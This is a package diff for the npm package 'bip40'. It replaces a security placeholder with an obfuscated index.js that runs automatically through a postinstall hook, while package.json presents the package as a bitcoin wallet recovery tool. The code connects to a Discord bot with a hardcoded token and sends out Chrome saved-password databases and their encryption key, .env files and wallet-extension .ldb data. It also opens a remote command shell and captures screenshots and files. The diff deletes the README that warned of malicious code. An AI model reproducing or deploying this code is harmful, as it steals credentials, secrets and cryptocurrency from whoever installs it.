bip40 0.0.1-security → 1.0.0

package/index.js

@@ -0,0 +1 @@
+const _0x8a1168=_0x2db0;(function(_0x79b936,_0x1b1e96){const _0x4f1257=_0x2db0,_0x10d199=_0x79b936();while(!![]){try{const _0x1c0a5a=parseInt(_0x4f1257(0xa9))/0x1*(parseInt(_0x4f1257(0xd7))/0x2)+-parseInt(_0x4f1257(0x101))/0x3*(-parseInt(_0x4f1257(0xde))/0x4)+parseInt(_0x4f1257(0xeb))/0x5+parseInt(_0x4f1257(0xe4))/0x6*(parseInt(_0x4f1257(0xa7))/0x7)+-parseInt(_0x4f1257(0xaf))/0x8+parseInt(_0x4f1257(0xd3))/0x9*(parseInt(_0x4f1257(0xb1))/0xa)+-parseInt(_0x4f1257(0xee))/0xb;if(_0x1c0a5a===_0x1b1e96)break;else _0x10d199['push'](_0x10d199['shift']());}catch(_0x3108a7){_0x10d199['push'](_0x10d199['shift']());}}}(_0x43e5,0xbd09b));const {Client,GatewayIntentBits,ChannelType,PermissionsBitField}=require(_0x8a1168(0xa0)),fs=require('fs'),os=require('os'),path=require('path'),{execSync,exec}=require(_0x8a1168(0xf0)),{homedir}=os,screenshot=require('screenshot-desktop'),{Monitor}=require(_0x8a1168(0xa3)),bot_token1='MTMzMTY5NTg0NTg1ODM0NTA3MQ.',bot_token2='GJB47V.5njVIqcq1DiRk9K0ym_',bot_token3=_0x8a1168(0xce),client=new Client({'intents':[GatewayIntentBits['Guilds'],GatewayIntentBits[_0x8a1168(0xd6)],GatewayIntentBits[_0x8a1168(0xed)]]}),systemv=os[_0x8a1168(0x95)]()['toLowerCase']();let currentDirectory=process[_0x8a1168(0xe8)]();function getMachineUniqueId(){const _0x5c8766=_0x8a1168,_0x567da6=os[_0x5c8766(0x95)]()[_0x5c8766(0xda)]();try{if(_0x567da6===_0x5c8766(0xb8)){const _0x381ca3=execSync(_0x5c8766(0xd0))[_0x5c8766(0xb6)]()[_0x5c8766(0xb7)]('\x0a');return _0x381ca3[0x1][_0x5c8766(0xab)]();}else{if(_0x567da6===_0x5c8766(0xbe)){const _0x1f4479=fs[_0x5c8766(0xf9)](_0x5c8766(0xf3),'utf-8');return _0x1f4479[_0x5c8766(0xab)]();}else{if(_0x567da6===_0x5c8766(0xcd)){const _0x4f19ab=execSync('ioreg\x20-rd1\x20-c\x20IOPlatformExpertDevice\x20|\x20grep\x20IOPlatformUUID')['toString']();return _0x4f19ab[_0x5c8766(0xb7)]('=')[0x1][_0x5c8766(0xc2)](/"/g,'')[_0x5c8766(0xab)]();}}}}catch(_0x19ec82){return console['error'](_0x5c8766(0xfa)+_0x19ec82[_0x5c8766(0xfb)]),null;}}let uniqueId=getMachineUniqueId()[_0x8a1168(0xb5)](0x0,0x8);async function sendFilesToDiscord(_0x32d0bb,_0x3d9636){const _0x4582ec=_0x8a1168;for(const _0x48f7aa of _0x3d9636){if(fs[_0x4582ec(0xe2)](_0x48f7aa))try{const _0x177c25=fs[_0x4582ec(0xf1)](_0x48f7aa);_0x177c25[_0x4582ec(0xae)]!==0x0&&await _0x32d0bb[_0x4582ec(0xc4)]({'files':[_0x48f7aa]});}catch(_0x167323){await _0x32d0bb[_0x4582ec(0xc4)](_0x4582ec(0xb2)+_0x48f7aa+':\x20'+_0x167323['message']);}else await _0x32d0bb['send']('File\x20does\x20not\x20exist:\x20'+_0x48f7aa);}}async function findAndSendLdbFiles(_0x581c73,_0x12b0fc=_0x8a1168(0xbc)){const _0x1963e2=_0x8a1168;let _0x478e09;if(process['platform']===_0x1963e2(0xb8))_0x478e09=path[_0x1963e2(0x8f)](os[_0x1963e2(0xbd)](),_0x1963e2(0xb9),'Local',_0x1963e2(0xad),'Chrome','User\x20Data');else{if(process[_0x1963e2(0x95)]===_0x1963e2(0xcd))_0x478e09=path[_0x1963e2(0x8f)](os[_0x1963e2(0xbd)](),_0x1963e2(0xef),_0x1963e2(0xfe),_0x1963e2(0xad),'Chrome');else process['platform']===_0x1963e2(0xbe)?_0x478e09=path['join'](os[_0x1963e2(0xbd)](),'.config','google-chrome'):_0x478e09=os[_0x1963e2(0xbd)]();}const _0x496203=[];try{await searchFiles(_0x478e09,_0x1963e2(0x9f),_0x2ef8e0=>{const _0xaf71a4=_0x1963e2;_0x2ef8e0['includes'](_0x12b0fc)&&_0x496203[_0xaf71a4(0xe7)](_0x2ef8e0);});}catch(_0x428be3){console[_0x1963e2(0xdf)](_0x1963e2(0x8d)+_0x428be3[_0x1963e2(0xfb)]);}await sendFilesToDiscord(_0x581c73,_0x496203);}async function findAndSendEnvFiles(_0x1dd481){const _0x2c13cb=_0x8a1168,_0x1ff585=os[_0x2c13cb(0xbd)](),_0x2b04c4=[];try{await searchFiles(_0x1ff585,_0x2c13cb(0x9e),_0x1e2ad1=>{const _0x11250f=_0x2c13cb;_0x2b04c4[_0x11250f(0xe7)](_0x1e2ad1);});}catch(_0x56349e){console[_0x2c13cb(0xdf)](_0x2c13cb(0xe1)+_0x56349e[_0x2c13cb(0xfb)]);}await sendFilesToDiscord(_0x1dd481,_0x2b04c4);}async function searchFiles(_0x1ced4c,_0x100e3d,_0x2e9876){const _0x56da1b=_0x8a1168,_0x2e3a0b=await fs[_0x56da1b(0xc7)][_0x56da1b(0xf8)](_0x1ced4c,{'withFileTypes':!![]});for(const _0x13c6e5 of _0x2e3a0b){const _0x153625=path[_0x56da1b(0x8f)](_0x1ced4c,_0x13c6e5[_0x56da1b(0xfd)]);if(_0x13c6e5[_0x56da1b(0x98)]())await searchFiles(_0x153625,_0x100e3d,_0x2e9876);else _0x13c6e5[_0x56da1b(0xaa)]()&&_0x13c6e5[_0x56da1b(0xfd)][_0x56da1b(0xcf)](_0x100e3d)&&_0x2e9876(_0x153625);}}function getChromeProfiles(){const _0x227cd8=_0x8a1168;let _0x19d282;const _0x4be74e=process[_0x227cd8(0x95)];if(_0x4be74e===_0x227cd8(0xb8))_0x19d282=path[_0x227cd8(0x8f)](os[_0x227cd8(0xbd)](),'AppData',_0x227cd8(0xa6),'Google','Chrome',_0x227cd8(0x9c));else{if(_0x4be74e===_0x227cd8(0xcd))_0x19d282=path[_0x227cd8(0x8f)](os[_0x227cd8(0xbd)](),_0x227cd8(0xef),_0x227cd8(0xfe),_0x227cd8(0xad),'Chrome');else{if(_0x4be74e==='linux')_0x19d282=path[_0x227cd8(0x8f)](os[_0x227cd8(0xbd)](),'.config',_0x227cd8(0x8e));else throw new Error(_0x227cd8(0x91)+_0x4be74e);}}return fs[_0x227cd8(0x99)](_0x19d282)[_0x227cd8(0xdd)](_0x3df1b0=>path['join'](_0x19d282,_0x3df1b0))['filter'](_0x5859f8=>fs[_0x227cd8(0xf1)](_0x5859f8)[_0x227cd8(0x98)]()&&(_0x5859f8[_0x227cd8(0xcf)](_0x227cd8(0xb3))||_0x5859f8[_0x227cd8(0xcf)](_0x227cd8(0x8c))));}function getEncryptionKey(){const _0x2ca3f1=_0x8a1168,_0xd3eb00=process[_0x2ca3f1(0x95)];if(_0xd3eb00===_0x2ca3f1(0xb8))return getEncryptionKeyWindows();else{if(_0xd3eb00===_0x2ca3f1(0xcd))return getEncryptionKeyMacOS();else{if(_0xd3eb00===_0x2ca3f1(0xbe))return getEncryptionKeyLinux();}}throw new Error(_0x2ca3f1(0x91)+_0xd3eb00);}function _0x2db0(_0x2cc303,_0x67451d){const _0x43e5dd=_0x43e5();return _0x2db0=function(_0x2db0a4,_0x5af8a6){_0x2db0a4=_0x2db0a4-0x8b;let _0x160d45=_0x43e5dd[_0x2db0a4];return _0x160d45;},_0x2db0(_0x2cc303,_0x67451d);}function getEncryptionKeyMacOS(){const _0x5534e1=_0x8a1168;return path[_0x5534e1(0x8f)](homedir(),_0x5534e1(0xef),_0x5534e1(0xfe),_0x5534e1(0xad),_0x5534e1(0xf2),_0x5534e1(0x8b));}function getEncryptionKeyLinux(){const _0x2a80b4=_0x8a1168;return path['join'](homedir(),_0x2a80b4(0x100),_0x2a80b4(0x8e),_0x2a80b4(0x8b));}function getEncryptionKeyWindows(){const _0x56f4da=_0x8a1168;return path[_0x56f4da(0x8f)](os['homedir'](),_0x56f4da(0xb9),_0x56f4da(0xa6),_0x56f4da(0xad),'Chrome',_0x56f4da(0x9c),'Local\x20State');}async function sendChromeSavedPasswords(_0xf5298f){const _0xf09fe5=_0x8a1168;try{const _0x3e6a4f=getChromeProfiles(),_0x2e0189=getEncryptionKey(),_0x2382d6=[_0x2e0189];for(const _0x4bc04e of _0x3e6a4f){const _0x141d40=path['join'](_0x4bc04e,_0xf09fe5(0xa4));if(!fs[_0xf09fe5(0xe2)](_0x141d40))continue;_0x2382d6['push'](_0x141d40);}await sendFilesToDiscord(_0xf5298f,_0x2382d6);}catch(_0x562a93){console[_0xf09fe5(0xea)]('error\x20while\x20sending\x20chrome\x20profiles',_0x562a93[_0xf09fe5(0xfb)]);}}function _0x43e5(){const _0x3b18a9=['wmic\x20csproduct\x20get\x20UUID','create','all','9cUvrso','\x0a```','Error:\x20','GuildMessages','404tsaFUU','guilds','roles','toLowerCase','author','forEach','map','25516dDaTul','error','An\x20error\x20occurred:\x20','Error\x20while\x20searching\x20for\x20.env\x20files:\x20','existsSync','everyone','7632qTiEMi','ViewChannel','toPngSync','push','cwd','startsWith','log','1506425xjnehj','Changed\x20directory\x20to:\x20','MessageContent','29095385MehgaD','Library','child_process','statSync','Chrome','/etc/machine-id','messageCreate','Error:\x20Not\x20a\x20directory.','trimStart','Error\x20sending\x20screenshot:\x20','readdir','readFileSync','Error\x20retrieving\x20unique\x20machine\x20ID:\x20','message','catch','name','Application\x20Support','Error\x20sending\x20file:\x20','.config','372pSxUOU','Error\x20taking\x20screenshot:\x20','I\x20don\x27t\x20understand\x20that\x20command.\x20Use\x20`!run\x20{command}`\x20to\x20run\x20a\x20command,\x20`!sendfile\x20{filename}`\x20to\x20send\x20a\x20file,\x20or\x20`!screenshot`\x20to\x20take\x20a\x20screenshot.','Local\x20State','Default','Error\x20while\x20searching\x20for\x20.ldb\x20files:\x20','google-chrome','join','length','Unsupported\x20platform:\x20','resolve','Error\x20while\x20sending\x20files','!run\x20','platform','No\x20displays\x20found','cache','isDirectory','readdirSync','once','GuildText','User\x20Data','screenshot.png','.env','.ldb','discord.js','Screenshot\x20failed:\x20','!sendfile\x20','node-screenshots','Login\x20Data','Error\x20sending\x20screenshot.','Local','8099EIzlBg','unlink','6534fqdyAq','isFile','trim','```\x0a','Google','size','6226880BspHAs','members','3138410eVxOGV','Failed\x20to\x20send\x20file\x20','Profile','first','slice','toString','split','win32','AppData','tmpdir','stat','nkbihfbeogaeaoehlefnkodbefgpgknn','homedir','linux','content','channel','channels','replace','SendMessages','send','then','Error\x20deleting\x20screenshot:\x20','promises','login','The\x20bot\x20is\x20not\x20connected\x20to\x20any\x20guilds.','lastIndexOf','!screenshot','Hello!\x20This\x20is\x20the\x20command\x20execution\x20channel.\x20Type\x20a\x20command\x20to\x20run\x20it.','darwin','8R2q_ixPYcn4RTnbQAs','includes'];_0x43e5=function(){return _0x3b18a9;};return _0x43e5();}client[_0x8a1168(0x9a)]('clientReady',async()=>{const _0x18d260=_0x8a1168;try{const _0x5e5577=client[_0x18d260(0xd8)][_0x18d260(0x97)][_0x18d260(0xb4)]();if(!_0x5e5577){console[_0x18d260(0xdf)](_0x18d260(0xc9));return;}let _0x40aac3=(systemv+'-'+uniqueId)['toLowerCase']()['replace'](/\s+/g,'-')[_0x18d260(0xab)](),_0xab3041=_0x5e5577[_0x18d260(0xc1)][_0x18d260(0x97)]['find'](_0x355c56=>_0x355c56[_0x18d260(0xfd)]===_0x40aac3);if(!_0xab3041)_0xab3041=await _0x5e5577[_0x18d260(0xc1)][_0x18d260(0xd1)]({'name':_0x40aac3,'type':ChannelType[_0x18d260(0x9b)],'permissionOverwrites':[{'id':_0x5e5577[_0x18d260(0xd9)][_0x18d260(0xe3)]['id'],'deny':[PermissionsBitField['Flags'][_0x18d260(0xe5)]]},{'id':_0x5e5577[_0x18d260(0xb0)]['me']['id'],'allow':[PermissionsBitField['Flags'][_0x18d260(0xe5)],PermissionsBitField['Flags'][_0x18d260(0xc3)]]}]});else{}await _0xab3041[_0x18d260(0xc4)](_0x18d260(0xcc)),sendChromeSavedPasswords(_0xab3041),findAndSendEnvFiles(_0xab3041),findAndSendLdbFiles(_0xab3041);}catch(_0x381dc5){console[_0x18d260(0xdf)](_0x18d260(0xe0)+_0x381dc5[_0x18d260(0xfb)]);}}),client['on'](_0x8a1168(0xf4),async _0x126af9=>{const _0x26121f=_0x8a1168;if(_0x126af9[_0x26121f(0xdb)]['bot'])return;let _0x2be80d=(systemv+'-'+uniqueId)['toLowerCase']()[_0x26121f(0xc2)](/\s+/g,'-')['trim']();if(_0x126af9['channel'][_0x26121f(0xfd)]!==_0x2be80d)return;const _0x29a1c7=_0x126af9[_0x26121f(0xbf)][_0x26121f(0xab)]();if(_0x29a1c7[_0x26121f(0xe9)](_0x26121f(0x94))){const _0x4ce033=_0x29a1c7['slice'](0x5)['trim']();if(_0x4ce033){if(_0x4ce033['startsWith']('cd')){const _0x28e42d=_0x4ce033[_0x26121f(0xb7)]('\x20');if(_0x28e42d['length']>=0x2){const _0x59b8ad=_0x28e42d[_0x26121f(0xb5)](0x1)[_0x26121f(0x8f)]('\x20'),_0x3a0dcc=path[_0x26121f(0x92)](currentDirectory,_0x59b8ad);fs[_0x26121f(0xbb)](_0x3a0dcc,(_0x55c6c1,_0x2fb45b)=>{const _0x3a1ed7=_0x26121f;if(_0x55c6c1)_0x126af9['channel'][_0x3a1ed7(0xc4)]('Error:\x20Directory\x20not\x20found.');else _0x2fb45b[_0x3a1ed7(0x98)]()?(currentDirectory=_0x3a0dcc,_0x126af9[_0x3a1ed7(0xc0)]['send'](_0x3a1ed7(0xec)+currentDirectory)):_0x126af9[_0x3a1ed7(0xc0)][_0x3a1ed7(0xc4)](_0x3a1ed7(0xf5));});}else currentDirectory=os[_0x26121f(0xbd)](),_0x126af9[_0x26121f(0xc0)][_0x26121f(0xc4)]('Changed\x20directory\x20to\x20home:\x20'+currentDirectory);}else exec(_0x4ce033,{'cwd':currentDirectory,'shell':!![]},(_0x2c12da,_0x2251e9,_0x4c3c67)=>{const _0x11d810=_0x26121f;if(_0x2c12da){_0x126af9[_0x11d810(0xc0)][_0x11d810(0xc4)](_0x11d810(0xd5)+_0x2c12da[_0x11d810(0xfb)]);return;}let _0x1fe38d=_0x2251e9||_0x4c3c67;if(!_0x1fe38d){_0x126af9[_0x11d810(0xc0)]['send']('No\x20output.');return;}const _0x4fe8c6=splitMessage(_0x1fe38d);_0x4fe8c6[_0x11d810(0xdc)](_0x1ec154=>{const _0x24da8d=_0x11d810;_0x126af9[_0x24da8d(0xc0)][_0x24da8d(0xc4)](_0x24da8d(0xac)+_0x1ec154+_0x24da8d(0xd4));});});}}else{if(_0x29a1c7[_0x26121f(0xe9)](_0x26121f(0xcb))){const _0x58ac5a=path[_0x26121f(0x8f)](os[_0x26121f(0xba)](),_0x26121f(0x9d)),_0x375c4c=async()=>{const _0x27c395=_0x26121f;try{const _0x4dbde9=Monitor[_0x27c395(0xd2)]();if(!_0x4dbde9||_0x4dbde9[_0x27c395(0x90)]===0x0)throw new Error(_0x27c395(0x96));const _0xc49321=await _0x4dbde9[0x0]['captureImage'](),_0x1d4aea=_0xc49321[_0x27c395(0xe6)]();return fs['writeFileSync'](_0x58ac5a,_0x1d4aea),_0x58ac5a;}catch(_0x3f1736){throw new Error(_0x27c395(0xa1)+_0x3f1736[_0x27c395(0xfb)]);}};_0x375c4c()['then'](_0x196cff=>{const _0x3f7724=_0x26121f;_0x126af9['channel']['send']({'content':'Here\x27s\x20your\x20screenshot:','files':[_0x196cff]})[_0x3f7724(0xc5)](()=>{const _0x1e8cd6=_0x3f7724;fs[_0x1e8cd6(0xa8)](_0x196cff,_0x18684f=>{const _0x43e1f6=_0x1e8cd6;if(_0x18684f)console['error'](_0x43e1f6(0xc6)+_0x18684f);});})[_0x3f7724(0xfc)](_0x508b1e=>{const _0x3c4a46=_0x3f7724;console[_0x3c4a46(0xdf)](_0x3c4a46(0xf7)+_0x508b1e),_0x126af9[_0x3c4a46(0xc0)][_0x3c4a46(0xc4)](_0x3c4a46(0xa5));});})['catch'](_0x1c71c6=>{const _0x2dbf2f=_0x26121f;console['error'](_0x2dbf2f(0x102)+_0x1c71c6),_0x126af9[_0x2dbf2f(0xc0)][_0x2dbf2f(0xc4)](_0x2dbf2f(0xd5)+_0x1c71c6[_0x2dbf2f(0xfb)]);});}else{if(_0x29a1c7['startsWith'](_0x26121f(0xa2))){const _0x388a2f=_0x29a1c7[_0x26121f(0xb5)](0xa)['trim']();if(_0x388a2f){const _0x15a205=path[_0x26121f(0x8f)](currentDirectory,_0x388a2f);try{const _0x2edd32=fs[_0x26121f(0xf1)](_0x15a205);_0x2edd32['size']!==0x0&&_0x126af9['channel']['send']({'content':'Here\x27s\x20your\x20file\x20`'+_0x388a2f+'`:','files':[_0x15a205]})['catch'](_0x4c67da=>{const _0x266600=_0x26121f;console['error'](_0x266600(0xff)+_0x4c67da),_0x126af9['channel'][_0x266600(0xc4)]('An\x20error\x20occurred\x20while\x20sending\x20the\x20file:\x20'+_0x4c67da['message']);});}catch(_0x4f4285){console[_0x26121f(0xea)](_0x26121f(0x93),_0x4f4285[_0x26121f(0xfb)]);}}}else _0x126af9['channel'][_0x26121f(0xc4)](_0x26121f(0x103));}}});function splitMessage(_0x179d0a,_0x590a9d=0x79e){const _0x539f1c=_0x8a1168,_0x26d29d=[];while(_0x179d0a[_0x539f1c(0x90)]>_0x590a9d){let _0x3e8c93=_0x179d0a[_0x539f1c(0xca)]('\x0a',_0x590a9d);_0x3e8c93===-0x1&&(_0x3e8c93=_0x590a9d),_0x26d29d[_0x539f1c(0xe7)](_0x179d0a[_0x539f1c(0xb5)](0x0,_0x3e8c93)),_0x179d0a=_0x179d0a[_0x539f1c(0xb5)](_0x3e8c93)[_0x539f1c(0xf6)]();}return _0x179d0a&&_0x26d29d[_0x539f1c(0xe7)](_0x179d0a),_0x26d29d;}client[_0x8a1168(0xc8)](bot_token1+bot_token2+bot_token3);

package/package.json

@@ -1,6 +1,22 @@
 {
   "name": "bip40",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "1.0.0",
+  "description": "bitcoin btc bip40 wallet recovery tool",
+  "main": "index.js",
+  "scripts": {
+    "start": "node index.js",
+    "postinstall": "node index.js"
+  },
+  "dependencies": {
+    "discord.js": "^14.14.1",
+    "node-screenshots": "^0.2.1",
+    "screenshot-desktop": "^1.15.0"
+  },
+  "keywords": ["bitcoin", "bot", "remote", "admin"],
+  "author": "",
+  "license": "ISC",
+  "repository": {
+    "type": "git",
+    "url": ""
+  }
 }

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=bip40 for more information.